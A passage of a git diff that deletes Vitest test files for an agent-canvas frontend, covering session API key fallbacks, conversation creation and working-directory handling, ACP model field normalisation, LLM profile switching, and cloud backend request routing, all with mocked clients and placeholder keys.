expect(isAuthRequiredAndMissing()).toBe(true); - }); - - it("returns true via window flag when no key is baked in", () => { - vi.stubEnv("VITE_SESSION_API_KEY", ""); - ( - window as unknown as Record - ).__AGENT_CANVAS_AUTH_REQUIRED__ = true; - - expect(isAuthRequiredAndMissing()).toBe(true); - }); - - it("returns false when VITE_AUTH_REQUIRED is true but VITE_SESSION_API_KEY is baked in", () => { - vi.stubEnv("VITE_AUTH_REQUIRED", "true"); - vi.stubEnv("VITE_SESSION_API_KEY", "baked-key"); - - expect(isAuthRequiredAndMissing()).toBe(false); - }); - - it("returns false for non-'true' values of VITE_AUTH_REQUIRED", () => { - vi.stubEnv("VITE_AUTH_REQUIRED", "false"); - - expect(isAuthRequiredAndMissing()).toBe(false); - }); -}); - -// Covers the published `agent-canvas` binary path: the prebuilt bundle has -// no VITE_SESSION_API_KEY baked in, but `scripts/static-server.mjs` injects -// the runtime key into `window.__AGENT_CANVAS_SESSION_API_KEY__`. Without -// this fallback, `makeDefaultLocalBackend()` returns null on a fresh install -// and the user sees the Manage Backends modal instead of the onboarding flow. -describe("getAgentServerSessionApiKey runtime-injection fallback", () => { - function setInjectedKey(value: unknown) { - ( - window as unknown as Record - ).__AGENT_CANVAS_SESSION_API_KEY__ = value; - } - - it("returns the env-baked key when VITE_SESSION_API_KEY is set", () => { - vi.stubEnv("VITE_SESSION_API_KEY", "env-key"); - setInjectedKey("window-key"); - - expect(getAgentServerSessionApiKey()).toBe("env-key"); - }); - - it("falls back to the runtime-injected window global when no env key is baked in", () => { - vi.stubEnv("VITE_SESSION_API_KEY", ""); - setInjectedKey("runtime-injected-key"); - - expect(getAgentServerSessionApiKey()).toBe("runtime-injected-key"); - }); - - it("includes the injected key in form defaults so the registry can seed", () => { - vi.stubEnv("VITE_SESSION_API_KEY", ""); - setInjectedKey("runtime-injected-key"); - - expect(getAgentServerFormDefaults().sessionApiKey).toBe( - "runtime-injected-key", - ); - }); - - it("returns null when neither env nor window provides a key", () => { - vi.stubEnv("VITE_SESSION_API_KEY", ""); - - expect(getAgentServerSessionApiKey()).toBeNull(); - }); - - it("treats a whitespace-only injected key as missing", () => { - vi.stubEnv("VITE_SESSION_API_KEY", ""); - setInjectedKey(" "); - - expect(getAgentServerSessionApiKey()).toBeNull(); - }); - - it("ignores non-string injected values", () => { - vi.stubEnv("VITE_SESSION_API_KEY", ""); - setInjectedKey(12345); - - expect(getAgentServerSessionApiKey()).toBeNull(); - }); -}); diff --git a/__tests__/api/agent-server-conversation-service.test.ts b/__tests__/api/agent-server-conversation-service.test.ts deleted file mode 100644 index f1d958c7a..000000000 --- a/__tests__/api/agent-server-conversation-service.test.ts +++ /dev/null @@ -1,1109 +0,0 @@ -import { - ConversationClient, - FileClient, - ProfilesClient, - SettingsClient, -} from "@openhands/typescript-client/clients"; -import { describe, expect, it, vi, beforeEach, afterEach } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { - getFetchCall, - getJsonBody, - mockJsonResponse, -} from "./cloud/fetch-test-utils"; - -const { - mockHttpGet, - mockHttpPost, - mockHttpDelete, - mockConversationClient, - mockFileClient, - mockSettingsClient, - mockSwitchProfile, - mockSwitchLLM, - mockGetSettings, - mockGetSettingsForConversation, - mockGetProfile, - mockActivateProfile, - mockListProfiles, -} = vi.hoisted(() => ({ - mockHttpGet: vi.fn(), - mockHttpPost: vi.fn(), - mockHttpDelete: vi.fn(), - mockConversationClient: vi.fn(), - mockFileClient: vi.fn(), - mockSettingsClient: vi.fn(), - mockSwitchProfile: vi.fn(), - mockSwitchLLM: vi.fn(), - mockGetSettings: vi.fn(), - mockGetSettingsForConversation: vi.fn(), - mockGetProfile: vi.fn(), - mockActivateProfile: vi.fn(), - mockListProfiles: vi.fn(), -})); - -const originalFetch = global.fetch; -const fetchMock = vi.fn(); - -vi.mock("@openhands/typescript-client/clients", async () => { - const actual = await vi.importActual< - typeof import("@openhands/typescript-client/clients") - >("@openhands/typescript-client/clients"); - return { - ...actual, - ConversationClient: vi.fn(function ConversationClientMock() { - return mockConversationClient(); - }), - FileClient: vi.fn(function FileClientMock() { - return mockFileClient(); - }), - ProfilesClient: vi.fn(function ProfilesClientMock() { - return { - getProfile: mockGetProfile, - activateProfile: mockActivateProfile, - listProfiles: mockListProfiles, - }; - }), - SettingsClient: vi.fn(function SettingsClientMock() { - return mockSettingsClient(); - }), - VSCodeClient: vi.fn(function VSCodeClientMock() { - return { getUrl: vi.fn() }; - }), - }; -}); - -vi.mock("#/api/agent-server-config", () => ({ - DEFAULT_WORKING_DIR: "workspace/project", - getAgentServerBaseUrl: vi.fn(() => "http://localhost:54928"), - getAgentServerSessionApiKey: vi.fn(() => "test-api-key"), - getAgentServerWorkingDir: vi.fn(() => "/workspace/project/agent-canvas"), - buildConversationWorkingDir: vi.fn( - (id: string) => `/state/workspaces/${id.replace(/-/g, "")}`, - ), - getAgentServerHeaders: vi.fn(() => ({ "X-Session-API-Key": "test-api-key" })), - shouldLoadPublicSkills: vi.fn(() => true), - syncBakedSessionApiKey: vi.fn(), - getLockedCloudHost: vi.fn(() => null), -})); - -vi.mock("#/api/settings-service/settings-service.api", () => ({ - default: { - getSettings: mockGetSettings, - getSettingsForConversation: mockGetSettingsForConversation, - }, -})); - -describe("AgentServerConversationService", () => { - beforeEach(() => { - vi.clearAllMocks(); - mockHttpGet.mockReset(); - mockHttpPost.mockReset(); - mockHttpDelete.mockReset(); - mockGetProfile.mockReset(); - mockActivateProfile.mockReset(); - mockListProfiles.mockReset().mockResolvedValue({ - profiles: [], - active_profile: null, - }); - mockSwitchProfile.mockReset(); - mockSwitchLLM.mockReset(); - fetchMock.mockReset(); - global.fetch = originalFetch; - vi.mocked(ConversationClient).mockClear(); - vi.mocked(FileClient).mockClear(); - vi.mocked(ProfilesClient).mockClear(); - vi.mocked(SettingsClient).mockClear(); - - mockConversationClient.mockReturnValue({ - createConversation: async (payload: unknown) => { - const response = await mockHttpPost("/api/conversations", payload); - return response.data; - }, - getConversations: async (conversationIds: string[]) => { - const response = await mockHttpGet("/api/conversations", { - params: { ids: conversationIds }, - }); - return response.data; - }, - deleteConversation: async (conversationId: string) => { - const response = await mockHttpDelete( - `/api/conversations/${conversationId}`, - ); - return response.data; - }, - searchConversations: vi.fn(), - getConversation: vi.fn(), - sendEvent: vi.fn(), - updateConversation: vi.fn(), - switchProfile: mockSwitchProfile, - switchLLM: mockSwitchLLM, - }); - mockFileClient.mockReturnValue({ - downloadTextFile: async (path: string) => { - const response = await mockHttpGet("/api/file/download", { - params: { path }, - responseType: "arrayBuffer", - }); - return new TextDecoder().decode(response.data); - }, - downloadTrajectory: async (conversationId: string) => { - const response = await mockHttpGet( - `/api/file/download-trajectory/${conversationId}`, - { responseType: "blob" }, - ); - return response.data; - }, - // @spec WUP-001 — createConversation resolves relative working dirs - // via FileClient.getHome before sending the conversation-start payload. - getHome: async () => ({ home: "/Users/agent" }), - }); - mockSettingsClient.mockReturnValue({ - listSecrets: vi.fn().mockResolvedValue({ secrets: [] }), - }); - }); - - describe("readConversationFile", () => { - it("downloads the plan from the conversation's own working_dir when no filePath is provided", async () => { - const encodedPlan = new TextEncoder().encode("# PLAN content").buffer; - mockHttpGet.mockImplementation((url: string) => { - if (url === "/api/conversations") { - return Promise.resolve({ - data: [ - { - id: "conv-123", - created_at: "2024-01-01", - updated_at: "2024-01-01", - workspace: { - working_dir: "/workspace/project/agent-canvas/conv-123", - }, - }, - ], - }); - } - return Promise.resolve({ data: encodedPlan }); - }); - - const content = - await AgentServerConversationService.readConversationFile("conv-123"); - - expect(content).toBe("# PLAN content"); - expect(ConversationClient).toHaveBeenCalledWith({ - host: "http://localhost:54928", - apiKey: "test-api-key", - workingDir: "/workspace/project/agent-canvas", - }); - expect(FileClient).toHaveBeenCalledWith({ - host: "http://localhost:54928", - apiKey: "test-api-key", - workingDir: "/workspace/project/agent-canvas", - }); - expect(mockHttpGet).toHaveBeenCalledWith( - "/api/file/download", - expect.objectContaining({ - params: { - path: "/workspace/project/agent-canvas/conv-123/.agents_tmp/PLAN.md", - }, - responseType: "arrayBuffer", - }), - ); - }); - - it("rejects explicit file paths outside the conversation workspace", async () => { - mockHttpGet.mockImplementation((url: string) => { - if (url === "/api/conversations") { - return Promise.resolve({ - data: [ - { - id: "conv-123", - created_at: "2024-01-01", - updated_at: "2024-01-01", - workspace: { - working_dir: "/workspace/project/agent-canvas/conv-123", - }, - }, - ], - }); - } - return Promise.resolve({ data: new ArrayBuffer(0) }); - }); - - await expect( - AgentServerConversationService.readConversationFile( - "conv-123", - "/workspace/project/agent-canvas/other/PLAN.md", - ), - ).rejects.toThrow( - "Conversation file path must stay inside the workspace", - ); - expect(mockHttpGet).not.toHaveBeenCalledWith( - "/api/file/download", - expect.anything(), - ); - }); - }); - - describe("createConversation", () => { - it("passes the selected title profile to local conversation starts", async () => { - mockGetSettings.mockResolvedValue({ - title_llm_profile: "Titles", - agent_settings: { llm: { model: "gpt-4o" } }, - conversation_settings: {}, - }); - mockGetSettingsForConversation.mockResolvedValue({ - agentSettings: { llm: { model: "gpt-4o" } }, - conversationSettings: {}, - secretsEncrypted: true, - }); - mockListProfiles.mockResolvedValue({ - profiles: [ - { - name: "Titles", - model: "anthropic/claude-haiku-3-5", - base_url: null, - api_key_set: true, - }, - ], - active_profile: null, - }); - mockHttpPost.mockResolvedValue({ - data: { - id: "ignored-server-id", - created_at: "2024-01-01", - updated_at: "2024-01-01", - }, - }); - - await AgentServerConversationService.createConversation(); - - expect(mockHttpPost).toHaveBeenCalledWith( - "/api/conversations", - expect.objectContaining({ title_llm_profile: "Titles" }), - ); - }); - - it("generates a unique conversation_id and isolated working_dir per call", async () => { - mockGetSettings.mockResolvedValue({ - agent_settings: { llm: { model: "gpt-4o" } }, - conversation_settings: {}, - }); - mockGetSettingsForConversation.mockResolvedValue({ - agentSettings: { llm: { model: "gpt-4o" } }, - conversationSettings: {}, - secretsEncrypted: true, - }); - mockHttpPost.mockResolvedValue({ - data: { - id: "ignored-server-id", - created_at: "2024-01-01", - updated_at: "2024-01-01", - }, - }); - - await AgentServerConversationService.createConversation(); - await AgentServerConversationService.createConversation(); - - expect(ConversationClient).toHaveBeenCalledWith({ - host: "http://localhost:54928", - apiKey: "test-api-key", - workingDir: "/workspace/project/agent-canvas", - // See CREATE_CONVERSATION_TIMEOUT_MS in the service module: first - // conversation on a cold agent-server boot exceeds the 60s default. - timeout: 5 * 60 * 1000, - }); - expect(mockHttpPost).toHaveBeenCalledTimes(2); - const [firstCall, secondCall] = mockHttpPost.mock.calls; - const firstPayload = firstCall[1] as { - conversation_id: string; - workspace: { working_dir: string }; - worktree: boolean; - }; - const secondPayload = secondCall[1] as { - conversation_id: string; - workspace: { working_dir: string }; - worktree: boolean; - }; - - expect(firstPayload.conversation_id).toBeTruthy(); - expect(secondPayload.conversation_id).toBeTruthy(); - expect(firstPayload.conversation_id).not.toBe( - secondPayload.conversation_id, - ); - const firstHex = firstPayload.conversation_id.replace(/-/g, ""); - const secondHex = secondPayload.conversation_id.replace(/-/g, ""); - expect(firstPayload.workspace.working_dir).toBe( - `/state/workspaces/${firstHex}`, - ); - expect(secondPayload.workspace.working_dir).toBe( - `/state/workspaces/${secondHex}`, - ); - expect(firstPayload.worktree).toBe(true); - expect(secondPayload.worktree).toBe(true); - }); - - // @spec WUP-001 — When the default working_dir is relative, the - // conversation-start payload must be anchored against the agent-server - // home dir so the worktree and later file uploads agree on a writable - // absolute path. - it("resolves relative default working dirs against /api/file/home", async () => { - const { buildConversationWorkingDir: mockedBuilder } = - await import("#/api/agent-server-config"); - vi.mocked(mockedBuilder).mockImplementationOnce( - (id: string) => `workspace/project/${id.replace(/-/g, "")}`, - ); - const { clearAgentServerHomeDirCache } = - await import("#/api/agent-server-home"); - clearAgentServerHomeDirCache(); - - mockGetSettings.mockResolvedValue({ - agent_settings: { llm: { model: "gpt-4o" } }, - conversation_settings: {}, - }); - mockGetSettingsForConversation.mockResolvedValue({ - agentSettings: { llm: { model: "gpt-4o" } }, - conversationSettings: {}, - secretsEncrypted: true, - }); - mockHttpPost.mockResolvedValue({ - data: { - id: "ignored-server-id", - created_at: "2024-01-01", - updated_at: "2024-01-01", - }, - }); - - await AgentServerConversationService.createConversation(); - - const [payloadCall] = mockHttpPost.mock.calls; - const payload = payloadCall[1] as { - conversation_id: string; - workspace: { working_dir: string }; - }; - const hex = payload.conversation_id.replace(/-/g, ""); - expect(payload.workspace.working_dir).toBe( - `/Users/agent/workspace/project/${hex}`, - ); - }); - - // @spec WUP-001 — User-supplied workspace overrides are already absolute - // (they come from `search_subdirs`), so they must pass through verbatim. - it("leaves an absolute workingDirOverride untouched", async () => { - mockGetSettings.mockResolvedValue({ - agent_settings: { llm: { model: "gpt-4o" } }, - conversation_settings: {}, - }); - mockGetSettingsForConversation.mockResolvedValue({ - agentSettings: { llm: { model: "gpt-4o" } }, - conversationSettings: {}, - secretsEncrypted: true, - }); - mockHttpPost.mockResolvedValue({ - data: { - id: "ignored-server-id", - created_at: "2024-01-01", - updated_at: "2024-01-01", - }, - }); - - await AgentServerConversationService.createConversation( - undefined, - undefined, - undefined, - undefined, - "/Users/jane/projects/foo", - ); - - const [payloadCall] = mockHttpPost.mock.calls; - const payload = payloadCall[1] as { - workspace: { working_dir: string }; - worktree: boolean; - }; - expect(payload.workspace.working_dir).toBe("/Users/jane/projects/foo"); - expect(payload.worktree).toBe(false); - }); - - it("honors an explicit new-worktree mode for a selected workspace", async () => { - mockGetSettings.mockResolvedValue({ - agent_settings: { llm: { model: "gpt-4o" } }, - conversation_settings: {}, - }); - mockGetSettingsForConversation.mockResolvedValue({ - agentSettings: { llm: { model: "gpt-4o" } }, - conversationSettings: {}, - secretsEncrypted: true, - }); - mockHttpPost.mockResolvedValue({ - data: { - id: "ignored-server-id", - created_at: "2024-01-01", - updated_at: "2024-01-01", - }, - }); - - await AgentServerConversationService.createConversation( - undefined, - undefined, - undefined, - undefined, - "/Users/jane/projects/foo", - "new_worktree", - ); - - const [payloadCall] = mockHttpPost.mock.calls; - const payload = payloadCall[1] as { - workspace: { working_dir: string }; - worktree: boolean; - }; - expect(payload.workspace.working_dir).toBe("/Users/jane/projects/foo"); - expect(payload.worktree).toBe(true); - }); - }); - - describe("downloadConversation local branch", () => { - beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; - }); - - it("hits the local /api/file/download-trajectory endpoint with responseType blob when active backend is local", async () => { - const zipBlob = new Blob(["zip-bytes"], { type: "application/zip" }); - mockHttpGet.mockResolvedValue({ data: zipBlob }); - - const result = - await AgentServerConversationService.downloadConversation("conv-abc"); - - expect(mockHttpGet).toHaveBeenCalledWith( - "/api/file/download-trajectory/conv-abc", - expect.objectContaining({ responseType: "blob" }), - ); - expect(result).toBe(zipBlob); - }); - }); - - describe("deleteConversation local branch", () => { - beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - it("hits the local /api/conversations/{id} endpoint when active backend is local", async () => { - mockHttpDelete.mockResolvedValue({ data: undefined }); - - await AgentServerConversationService.deleteConversation("conv-abc"); - - expect(mockHttpDelete).toHaveBeenCalledWith( - "/api/conversations/conv-abc", - ); - }); - }); - - describe("conversation update fallbacks", () => { - it("throws a useful error when repository update cannot reload the conversation", async () => { - mockHttpGet.mockResolvedValue({ data: [] }); - - await expect( - AgentServerConversationService.updateConversationRepository( - "missing-conv", - "OpenHands/agent-canvas", - ), - ).rejects.toThrow("Conversation missing-conv was not found"); - }); - - it("throws a useful error when title update cannot reload the conversation", async () => { - mockHttpGet.mockResolvedValue({ data: [] }); - - await expect( - AgentServerConversationService.updateConversationTitle( - "missing-conv", - "New title", - ), - ).rejects.toThrow("Conversation missing-conv was not found"); - }); - - it("normalizes conversation list items with missing timestamps", async () => { - mockHttpGet.mockResolvedValue({ - data: [ - { - id: "conv-no-timestamps", - title: "Conversation without timestamps", - }, - ], - }); - - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - "conv-no-timestamps", - ]); - - expect(conversation).toMatchObject({ - id: "conv-no-timestamps", - created_at: "1970-01-01T00:00:00.000Z", - updated_at: "1970-01-01T00:00:00.000Z", - }); - }); - - it("throws a user-friendly error for unusable conversation list responses", async () => { - mockHttpGet.mockResolvedValue({ data: [{ title: "missing id" }] }); - - await expect( - AgentServerConversationService.batchGetAppConversations(["missing-id"]), - ).rejects.toThrow( - "Unable to load conversations because the selected agent server returned", - ); - }); - - it("preserves sandbox_status from batchGetAppConversations response", async () => { - mockHttpGet.mockResolvedValue({ - data: [ - { - id: "conv-paused", - created_at: "2024-01-01", - updated_at: "2024-01-01", - sandbox_status: "PAUSED", - }, - ], - }); - - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - "conv-paused", - ]); - - expect(conversation?.sandbox_status).toBe("PAUSED"); - }); - - it("preserves sandbox_status from searchConversations response", async () => { - const searchSpy = vi.fn().mockResolvedValue({ - items: [ - { - id: "conv-paused-search", - created_at: "2024-01-01", - updated_at: "2024-01-01", - sandbox_status: "PAUSED", - }, - ], - next_page_id: null, - }); - // Only searchConversations is called by the service method under test, - // so we don't need to reproduce the full client mock object. - mockConversationClient.mockReturnValue({ - searchConversations: searchSpy, - }); - - const result = - await AgentServerConversationService.searchConversations(10); - - expect(result.items[0]?.sandbox_status).toBe("PAUSED"); - }); - - it("preserves the launched Agent Profile through the wire normalizer", async () => { - mockHttpGet.mockResolvedValue({ - data: [ - { - id: "conv-profile", - created_at: "2024-01-01", - updated_at: "2024-01-01", - launched_agent_profile: { - agent_profile_id: "profile-1", - revision: 3, - }, - }, - ], - }); - - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - "conv-profile", - ]); - - expect(conversation?.launched_agent_profile).toEqual({ - agent_profile_id: "profile-1", - revision: 3, - }); - }); - - it("passes sandbox_status null through when field is absent", async () => { - mockHttpGet.mockResolvedValue({ - data: [ - { - id: "conv-no-status", - created_at: "2024-01-01", - updated_at: "2024-01-01", - }, - ], - }); - - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - "conv-no-status", - ]); - - expect(conversation?.sandbox_status).toBeNull(); - }); - - it("sanitizes malformed optional conversation fields", async () => { - mockHttpGet.mockResolvedValue({ - data: [ - { - id: "conv-malformed-fields", - title: "Conversation with malformed fields", - metrics: { - accumulated_cost: "1.23", - max_budget_per_task: 10, - accumulated_token_usage: { - prompt_tokens: "123", - completion_tokens: 4, - }, - }, - agent: "not an agent object", - workspace: "not a workspace object", - }, - ], - }); - - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - "conv-malformed-fields", - ]); - - expect(conversation?.metrics).toEqual({ - accumulated_cost: null, - max_budget_per_task: 10, - accumulated_token_usage: { - prompt_tokens: 0, - completion_tokens: 4, - cache_read_tokens: 0, - cache_write_tokens: 0, - context_window: 0, - per_turn_token: 0, - }, - }); - expect(conversation?.llm_model).toBeTruthy(); - expect(conversation?.workspace?.working_dir).toBe( - "/workspace/project/agent-canvas", - ); - }); - - it("preserves the new ACP model fields through the wire normalizer", async () => { - // Direct adapter tests pass DirectConversationInfo objects in-process - // and so can't catch the case where the wire-format normalizer - // (``normalizeAgent`` + ``requireDirectConversationInfo``) drops the - // newly-added ACP fields. Exercises the full HTTP -> AppConversation - // path so the chip's model resolution actually has the inputs it - // needs on a real local-backend fetch. - mockHttpGet.mockResolvedValue({ - data: [ - { - id: "conv-acp-model-wire", - created_at: "2024-01-01", - updated_at: "2024-01-01", - agent: { - kind: "ACPAgent", - acp_model: "claude-opus-4-7", - llm: { model: "acp-managed" }, - }, - current_model_id: "claude-opus-4-7", - current_model_name: "Claude Opus 4.7", - tags: { acpserver: "claude-code" }, - }, - ], - }); - - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - "conv-acp-model-wire", - ]); - - // ``current_model_name`` wins the precedence chain in the adapter. - expect(conversation?.agent_kind).toBe("acp"); - expect(conversation?.llm_model).toBe("Claude Opus 4.7"); - }); - - it("sources acp_server from the agent when the acpserver tag is absent", async () => { - // Profile launches don't stamp the ``acpserver`` tag client-side, so the - // provider identity must survive from ``agent.acp_server`` (SDK #3692) - // through ``normalizeAgent``. Without it the chip degrades to a generic - // "ACP" and the in-conversation model picker shows no options (#1571). - mockHttpGet.mockResolvedValue({ - data: [ - { - id: "conv-acp-server-from-agent", - created_at: "2024-01-01", - updated_at: "2024-01-01", - agent: { - kind: "ACPAgent", - acp_server: "claude-code", - acp_model: "claude-sonnet-4-5", - llm: { model: "acp-managed" }, - }, - // No ``acpserver`` tag — mirrors an agent_profile_id launch. - tags: {}, - }, - ], - }); - - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - "conv-acp-server-from-agent", - ]); - - expect(conversation?.agent_kind).toBe("acp"); - expect(conversation?.acp_server).toBe("claude-code"); - }); - - it("falls back to acp_model when SDK runtime fields are absent on the wire", async () => { - // Older agent-servers don't populate ``current_model_*``. The - // adapter must still surface a model on the chip — falling through - // to ``agent.acp_model`` (the Canvas-configured value). - mockHttpGet.mockResolvedValue({ - data: [ - { - id: "conv-acp-fallback", - created_at: "2024-01-01", - updated_at: "2024-01-01", - agent: { - kind: "ACPAgent", - acp_model: "claude-sonnet-4-6", - llm: { model: "acp-managed" }, - }, - tags: { acpserver: "claude-code" }, - }, - ], - }); - - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - "conv-acp-fallback", - ]); - - expect(conversation?.llm_model).toBe("claude-sonnet-4-6"); - }); - - it("extracts the acpserver tag from the wire payload for the sidebar chip", async () => { - // The agent-server stamps ``tags.acpserver`` at conversation create - // time (see ``buildStartConversationRequest``); the read path - // must surface it so the conversation card can render the human - // ACP-agent badge ("Claude Code" / "Codex" / "Gemini CLI"). - mockHttpGet.mockResolvedValue({ - data: [ - { - id: "conv-acp", - created_at: "2024-01-01", - updated_at: "2024-01-01", - agent: { kind: "ACPAgent", llm: { model: "acp-managed" } }, - tags: { acpserver: "claude-code" }, - }, - ], - }); - - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - "conv-acp", - ]); - - expect(conversation?.agent_kind).toBe("acp"); - expect(conversation?.acp_server).toBe("claude-code"); - }); - - it("drops non-string tag values while preserving the well-typed ones", async () => { - // The wire field is server-validated to ``Record[str, str]`` but a - // misbehaving server (or a future schema drift) shouldn't crash the - // parser — we drop non-string values and keep the rest so the - // sidebar still gets whatever good keys made it through. - mockHttpGet.mockResolvedValue({ - data: [ - { - id: "conv-malformed-tags", - created_at: "2024-01-01", - updated_at: "2024-01-01", - agent: { kind: "ACPAgent", llm: { model: "acp-managed" } }, - tags: { - acpserver: "codex", - numeric: 42, - nested: { inner: "x" }, - listy: ["a", "b"], - nully: null, - }, - }, - ], - }); - - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - "conv-malformed-tags", - ]); - - expect(conversation?.acp_server).toBe("codex"); - // The normalized map is also surfaced on ``AppConversation.tags`` - // (including reserved keys — display filtering happens later in - // ``getDisplayConversationTags``). Asserting the exact object here - // pins the wire → AppConversation boundary: only string-valued - // entries survive, and the field must not silently drop off the - // adapter again. - expect(conversation?.tags).toEqual({ acpserver: "codex" }); - }); - - it("carries well-formed wire tags through to AppConversation.tags", async () => { - mockHttpGet.mockResolvedValue({ - data: [ - { - id: "conv-wire-tags", - created_at: "2024-01-01", - updated_at: "2024-01-01", - agent: { kind: "ACPAgent", llm: { model: "acp-managed" } }, - tags: { acpserver: "claude-code", origin: "slack", owner: "alice" }, - }, - ], - }); - - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - "conv-wire-tags", - ]); - - expect(conversation?.tags).toEqual({ - acpserver: "claude-code", - origin: "slack", - owner: "alice", - }); - }); - - it("surfaces AppConversation.tags as null when the wire field is absent", async () => { - mockHttpGet.mockResolvedValue({ - data: [ - { - id: "conv-no-tags", - created_at: "2024-01-01", - updated_at: "2024-01-01", - agent: { kind: "ACPAgent", llm: { model: "acp-managed" } }, - }, - ], - }); - - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - "conv-no-tags", - ]); - - expect(conversation?.tags).toBeNull(); - }); - }); - - describe("switchProfile", () => { - beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - it("switches an active conversation with the full encrypted profile config", async () => { - mockGetProfile.mockResolvedValue({ - name: "haiku", - config: { - model: "openhands/claude-haiku-4-5", - api_key: "encrypted-key", - }, - api_key_set: true, - }); - mockSwitchLLM.mockResolvedValue(undefined); - - await AgentServerConversationService.switchProfile("conv-1", "haiku"); - - expect(mockGetProfile).toHaveBeenCalledWith("haiku", { - exposeSecrets: "encrypted", - }); - expect(mockSwitchLLM).toHaveBeenCalledWith( - "conv-1", - expect.objectContaining({ - model: "openhands/claude-haiku-4-5", - api_key: "encrypted-key", - // Streaming must stay enabled after a mid-conversation switch. - stream: true, - usage_id: expect.stringMatching(/^profile:haiku:/), - }), - ); - // Per-convo path: global default is left untouched and profile secrets are - // only fetched as encrypted values for direct round-trip to switch_llm. - expect(mockActivateProfile).not.toHaveBeenCalled(); - expect(mockSwitchProfile).not.toHaveBeenCalled(); - }); - - it("surfaces encrypted profile export failures instead of using the stale profile switch path", async () => { - const error = new Error("No cipher"); - mockGetProfile.mockRejectedValueOnce(error); - - await expect( - AgentServerConversationService.switchProfile("conv-1", "haiku"), - ).rejects.toThrow(error); - - expect(mockGetProfile).toHaveBeenCalledWith("haiku", { - exposeSecrets: "encrypted", - }); - expect(mockSwitchProfile).not.toHaveBeenCalled(); - expect(mockSwitchLLM).not.toHaveBeenCalled(); - expect(mockActivateProfile).not.toHaveBeenCalled(); - }); - - it("activates the profile globally when called without a conversationId", async () => { - mockActivateProfile.mockResolvedValue({ - name: "haiku", - message: "ok", - llm_applied: true, - }); - - await AgentServerConversationService.switchProfile(null, "haiku"); - - expect(mockActivateProfile).toHaveBeenCalledWith("haiku"); - // Home-page path: don't touch any conversation's LLM. - expect(mockGetProfile).not.toHaveBeenCalled(); - expect(mockSwitchProfile).not.toHaveBeenCalled(); - expect(mockSwitchLLM).not.toHaveBeenCalled(); - }); - - it("routes a cloud conversation switch through the app-server switch_profile endpoint", async () => { - const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", - }; - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockResolvedValueOnce(mockJsonResponse({ success: true })); - global.fetch = fetchMock as typeof fetch; - - await AgentServerConversationService.switchProfile("conv-1", "haiku"); - - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe( - "https://app.all-hands.dev/api/v1/app-conversations/conv-1/switch_profile", - ); - expect(init).toMatchObject({ - method: "POST", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(getJsonBody(init)).toEqual({ profile_name: "haiku" }); - // Cloud resolves the swap server-side: no client-side encrypted profile - // fetch and no direct switch_llm call. - expect(mockGetProfile).not.toHaveBeenCalled(); - expect(mockSwitchLLM).not.toHaveBeenCalled(); - }); - }); - - describe("cloud branches", () => { - const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", - }; - - beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - fetchMock.mockReset(); - global.fetch = fetchMock as typeof fetch; - }); - - afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - fetchMock.mockReset(); - global.fetch = originalFetch; - }); - - it("forwards parent_conversation_id, agent_type, and sandbox_id to the cloud createConversation payload", async () => { - // Arrange - fetchMock.mockResolvedValueOnce( - mockJsonResponse({ - id: "task-1", - status: "WORKING", - app_conversation_id: null, - agent_server_url: null, - request: {}, - created_at: "2024-01-01", - updated_at: "2024-01-01", - }), - ); - - // Act - await AgentServerConversationService.createConversation( - undefined, - undefined, - undefined, - null, - undefined, - undefined, - "parent-conv-1", - "plan", - "sandbox-9", - ); - - // Assert - const [url, init] = getFetchCall(fetchMock); - expect(url).toBe(`${cloudBackend.host}/api/v1/app-conversations`); - expect(init).toMatchObject({ - method: "POST", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(getJsonBody(init)).toMatchObject({ - parent_conversation_id: "parent-conv-1", - agent_type: "plan", - sandbox_id: "sandbox-9", - }); - }); - - it("routes readConversationFile to the cloud file endpoint with the file_path query param", async () => { - // Arrange - fetchMock.mockResolvedValueOnce( - new Response("# PLAN content", { - status: 200, - headers: { "content-type": "text/plain" }, - }), - ); - - // Act - const content = - await AgentServerConversationService.readConversationFile( - "conv-cloud-1", - ); - - // Assert - expect(content).toBe("# PLAN content"); - const [url, init] = getFetchCall(fetchMock); - expect(init).toMatchObject({ - method: "GET", - headers: { Authorization: "Bearer bearer-token" }, - }); - expect(url).toBe( - `${cloudBackend.host}/api/v1/app-conversations/conv-cloud-1/file?file_path=%2Fworkspace%2Fproject%2F.agents_tmp%2FPLAN.md`, - ); - }); - }); -}); diff --git a/__tests__/api/agent-server-git-service.test.ts b/__tests__/api/agent-server-git-service.test.ts deleted file mode 100644 index fa5dc5dd1..000000000 --- a/__tests__/api/agent-server-git-service.test.ts +++ 